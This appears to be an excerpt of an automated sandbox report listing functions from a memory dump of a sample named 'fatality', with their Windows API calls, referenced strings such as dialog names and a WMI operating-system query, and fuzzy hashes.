SetDlgItemTextW.USER32(?,0000006A,?), ref: 00DFC417
_swprintf.LIBCMT ref: 00DFC477
SetDlgItemTextW.USER32(?,00000068,?), ref: 00DFC48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00DFC4A7
_swprintf.LIBCMT ref: 00DFC535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00DFC548
_swprintf.LIBCMT ref: 00DFC59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00DFC5AF

Strings

%s %s %s, xrefs: 00DFC3F2, 00DFC527
%s %s, xrefs: 00DFC469, 00DFC58E
REPLACEFILEDLG, xrefs: 00DFC247

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Item$Text$_swprintf$MessageSend$DialogFocusWindow
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 1203808948-1840816070
Opcode ID: 19fdf7ffe9288e50ae402cafbc747461dac17204c13e144b799a1d302534c5e4
Instruction ID: 4b465d68234a8ba98b34510e7c4d109d67173f84c925ae38bdc8f7657377b1c5
Opcode Fuzzy Hash: 19fdf7ffe9288e50ae402cafbc747461dac17204c13e144b799a1d302534c5e4
Instruction Fuzzy Hash: 6D91727224834CBFD2219BB1CD49FFB77ACEB8A700F058819B749E6181D675A6098772

Function 00DEE2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00DEE30E
_strlen.LIBCMT ref: 00DEE32F
SetDlgItemTextW.USER32(?,00E1E274,?), ref: 00DEE38F
GetWindowRect.USER32(?,?), ref: 00DEE3C9
GetClientRect.USER32(?,?), ref: 00DEE3D5
GetWindowLongW.USER32(?,000000F0), ref: 00DEE475
GetWindowRect.USER32(?,?), ref: 00DEE4A2
SetWindowTextW.USER32(?,?), ref: 00DEE4DB
GetSystemMetrics.USER32(00000008), ref: 00DEE4E3
GetWindow.USER32(?,00000005), ref: 00DEE4EE
GetWindowRect.USER32(00000000,?), ref: 00DEE51B
GetWindow.USER32(00000000,00000002), ref: 00DEE58D

Strings

CAPTION, xrefs: 00DEE4BD
d, xrefs: 00DEE3F5
$%s:, xrefs: 00DEE302

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Window$Rect$Text$ClientItemLongMetricsSystem_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 1208408182-2512411981
Opcode ID: e5b3e0c50cf926806b73f72d5e9d79b76412ef16989cf05a9eedf682be4bfcd2
Instruction ID: 271e34d8069d77863f5e5ef5f52d71bf4a8af3c75d1d5bf01f5c93f5edf6fdb3
Opcode Fuzzy Hash: e5b3e0c50cf926806b73f72d5e9d79b76412ef16989cf05a9eedf682be4bfcd2
Instruction Fuzzy Hash: FB819271108341AFD710DF7ACD89A6FBBE9EBC9704F04091DFA84E7291D671E9098B62

Function 00E0CB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00E0CB66

Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C71E
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C730
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C742
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C754
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C766
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C778
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C78A
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C79C
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C7AE
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C7C0
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C7D2
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C7E4
Part of subcall function 00E0C701: _free.LIBCMT ref: 00E0C7F6

_free.LIBCMT ref: 00E0CB5B

Part of subcall function 00E08DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00E08E7A,?,00000004,00000000,?,00E0C007,?,00000004,00000000,?,?,?,00E08716), ref: 00E08DE2

_free.LIBCMT ref: 00E0CB7D
_free.LIBCMT ref: 00E0CB92
_free.LIBCMT ref: 00E0CB9D
_free.LIBCMT ref: 00E0CBBF
_free.LIBCMT ref: 00E0CBD2
_free.LIBCMT ref: 00E0CBE0
_free.LIBCMT ref: 00E0CBEB
_free.LIBCMT ref: 00E0CC23
_free.LIBCMT ref: 00E0CC2A
_free.LIBCMT ref: 00E0CC47
_free.LIBCMT ref: 00E0CC5F

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free$FreeHeap___free_lconv_mon
String ID:
API String ID: 358854727-0
Opcode ID: d0743c263c6d9e1cafc22c8002e428564c7b70e6de5c4e3bc00c93fafcd902b7
Instruction ID: 38d22fd8d5adf826c14ff3332ddb87a9549622a8436ddc911f8ca3bfe7121a49
Opcode Fuzzy Hash: d0743c263c6d9e1cafc22c8002e428564c7b70e6de5c4e3bc00c93fafcd902b7
Instruction Fuzzy Hash: 73314C316002069FEB21AB78D946B5AB7E9EF50314F247A19E599F61D2DE71ACC0CB10

Function 00DFD69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00DFD6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 00DFD6ED
GetWindowLongW.USER32(00000000,000000F0), ref: 00DFD709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00DFD720
GetObjectW.GDI32(00000000,00000018,?), ref: 00DFD734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00DFD75D
DeleteObject.GDI32(00000000), ref: 00DFD764
GetWindow.USER32(00000000,00000002), ref: 00DFD76D

Strings

STATIC, xrefs: 00DFD6F3

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: becee84a515179373e09f91ad00eee1b6e80555236db68da50f38a9d8ddbbe34
Instruction ID: 2786483a56c030ee5d9ae44b54cc4b9ce4cbe5a5eae14682378c3716dd074357
Opcode Fuzzy Hash: becee84a515179373e09f91ad00eee1b6e80555236db68da50f38a9d8ddbbe34
Instruction Fuzzy Hash: 441136761003187FE221BB749C4AFBF765EEF05701F16C210FB02F6191DA648E0A42B1

Function 00E096F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E09705

Part of subcall function 00E08DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00E08E7A,?,00000004,00000000,?,00E0C007,?,00000004,00000000,?,?,?,00E08716), ref: 00E08DE2

_free.LIBCMT ref: 00E09711
_free.LIBCMT ref: 00E0971C
_free.LIBCMT ref: 00E09727
_free.LIBCMT ref: 00E09732
_free.LIBCMT ref: 00E0973D
_free.LIBCMT ref: 00E09748
_free.LIBCMT ref: 00E09753
_free.LIBCMT ref: 00E0975E
_free.LIBCMT ref: 00E0976C

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 4eb864aa86226b8a88e804536ae6524db00d3f763b758e0f47388cec99976e86
Instruction ID: 20457c8f4aa7307075a1fd43062a21000d95facd3d3b17a9eaeb7eee054fa829
Opcode Fuzzy Hash: 4eb864aa86226b8a88e804536ae6524db00d3f763b758e0f47388cec99976e86
Instruction Fuzzy Hash: 8411B97612010ABFCB01EF54C942CDD3BB9EF14350B5165A1FA486F1B2DE31DE909B84

Function 00E02E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00E02F50
___TypeMatch.LIBVCRUNTIME ref: 00E0305E
_UnwindNestedFrames.LIBCMT ref: 00E031B0
CallUnexpected.LIBVCRUNTIME ref: 00E031CB
_abort.LIBCMT ref: 00E031D0

Strings

csm, xrefs: 00E02EDB
csm, xrefs: 00E02E6E
csm, xrefs: 00E02F87

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: a56f0e253b67112b867b8e31a11669fa05e212b7249fafa3af5b76b162f59142
Instruction ID: 459ee51aba6c922b43f6c13af0a6a81c11146415351ba1892049cf0f435cbcdf
Opcode Fuzzy Hash: a56f0e253b67112b867b8e31a11669fa05e212b7249fafa3af5b76b162f59142
Instruction Fuzzy Hash: 23B19B31901209EFCF29DFA4C8859AEB7F9FF08314F14615AE9057B292C731DA92CB91

Function 00DFB5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00DE1316: GetDlgItem.USER32(00000000,00003021), ref: 00DE135A
Part of subcall function 00DE1316: SetWindowTextW.USER32(00000000,00E135F4), ref: 00DE1370

EndDialog.USER32(?,00000001), ref: 00DFB610
SendMessageW.USER32(?,00000080,00000001,?), ref: 00DFB637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00DFB650
SetWindowTextW.USER32(?,?), ref: 00DFB661
GetDlgItem.USER32(?,00000065), ref: 00DFB66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00DFB67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00DFB694

Strings

LICENSEDLG, xrefs: 00DFB5D4

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: ebcf1b9826e8b88b6b6f69c5b3c9c0d99117aed4df5b68f30cf863fdfbf066a3
Instruction ID: 6597e95e67d7c91d5f52f96659d86314d9a4ae1f8200f4f782c31714973a43a4
Opcode Fuzzy Hash: ebcf1b9826e8b88b6b6f69c5b3c9c0d99117aed4df5b68f30cf863fdfbf066a3
Instruction Fuzzy Hash: 8E21D03664020CBFD2215F77EC49E3B7B6DEB4BB90F068015F740FA1A0CB5299069635

Function 00DE6FA5 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 329COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE6FAA
_wcslen.LIBCMT ref: 00DE7013
_wcslen.LIBCMT ref: 00DE7084

Part of subcall function 00DEA1E0: DeleteFileW.KERNELBASE(000000FF,?,?,00DE977F,?,?,00DE95CF,00000000,00E12641,000000FF), ref: 00DEA1F1

Part of subcall function 00DE9DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00DE9E70

Part of subcall function 00DE9620: CloseHandle.KERNELBASE(000000FF,?,?,00DE95D6,00000000,00E12641,000000FF), ref: 00DE963B

Part of subcall function 00DEA4ED: SetFileAttributesW.KERNELBASE(00000001,00000000,00000001,?,00DEA325,00000001,00DE70E6,?,00DEA175,?,00000001,00000000,?,?), ref: 00DEA501

Strings

\??\, xrefs: 00DE702B
SeCreateSymbolicLinkPrivilege, xrefs: 00DE6FCC
SeRestorePrivilege, xrefs: 00DE6FC2
UNC\, xrefs: 00DE7051

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: File$_wcslen$AttributesCloseDeleteH_prologHandleTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 449284102-3508440684
Opcode ID: a5a3528f18a7849032e35fbf347cf78f7a27bfbe86e03be188e5f1896c2b65f0
Instruction ID: 006fef7719c91dcf337c55b82ee26f350cc6778762756edd27e64727bf8d154a
Opcode Fuzzy Hash: a5a3528f18a7849032e35fbf347cf78f7a27bfbe86e03be188e5f1896c2b65f0
Instruction Fuzzy Hash: A8C1C371904785AEDB21FB75DC41FEEB7A8EF08300F04455AFA5AE7182D770AA488B71

Function 00DF9711 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 126COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DF9736
_wcslen.LIBCMT ref: 00DF97D6
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00DF982D

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00DF9760
<html>, xrefs: 00DF9755, 00DF978E
utf-8"></head>, xrefs: 00DF976B
</html>, xrefs: 00DF97B7

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen$CreateGlobalStream
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1938992887-4209811716
Opcode ID: 8d97ccfd87cdde76d5f7ef3763f1f6168a9ecc25902e3454e8e5575b4828b6c8
Instruction ID: d3a8f24468f12e1d770e2b02a12d91439683d4e4d786f02dab31a405cd902656
Opcode Fuzzy Hash: 8d97ccfd87cdde76d5f7ef3763f1f6168a9ecc25902e3454e8e5575b4828b6c8
Instruction Fuzzy Hash: D13139329083057ED725AF30DC06FBBB79CEF42360F15811DF601A61D2EB609A4982B6

Function 00DE2210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00DE2536

Part of subcall function 00DF05DA: _wcslen.LIBCMT ref: 00DF05E0

Strings

x%u, xrefs: 00DE26FD
;%u, xrefs: 00DE2523
xc%u, xrefs: 00DE275A

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 2292043294-2277559157
Opcode ID: 97300daa25d2d22295767319b96d5320066f6ccac548e194890b397a9bce4004
Instruction ID: ae7b058cefe3ae519730a6ca3afcf6de1697cf1416ce857fe3dc53d9ac661dca
Opcode Fuzzy Hash: 97300daa25d2d22295767319b96d5320066f6ccac548e194890b397a9bce4004
Instruction Fuzzy Hash: 24F104716043C09BDB25FB2A88D5BFA77D9AB94300F0C456DED8A9B283CB648945C772

Function 00DEAF24 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DEAF29

Strings

Name, xrefs: 00DEB0B0
ROOT\CIMV2, xrefs: 00DEAF5C
WQL, xrefs: 00DEAFDC
SELECT * FROM Win32_OperatingSystem, xrefs: 00DEAFCA
Windows 10, xrefs: 00DEB0C2

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 55252f3b4c7fc7f3c4277a4a01c0d424717a1058cff07fa96aa45f4498072a12
Instruction ID: 88dad9ab196483698eabb917c6d9b1ba27c2791ae6653008e0f818d412dfb94a
Opcode Fuzzy Hash: 55252f3b4c7fc7f3c4277a4a01c0d424717a1058cff07fa96aa45f4498072a12
Instruction Fuzzy Hash: 4D716D70A00259AFDB14EFAACC959AFBBB9FF49710B044159F512B72A0CB30BD45CB60

Function 00DF9CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DF9D0A

Strings

>, xrefs: 00DF9D4B
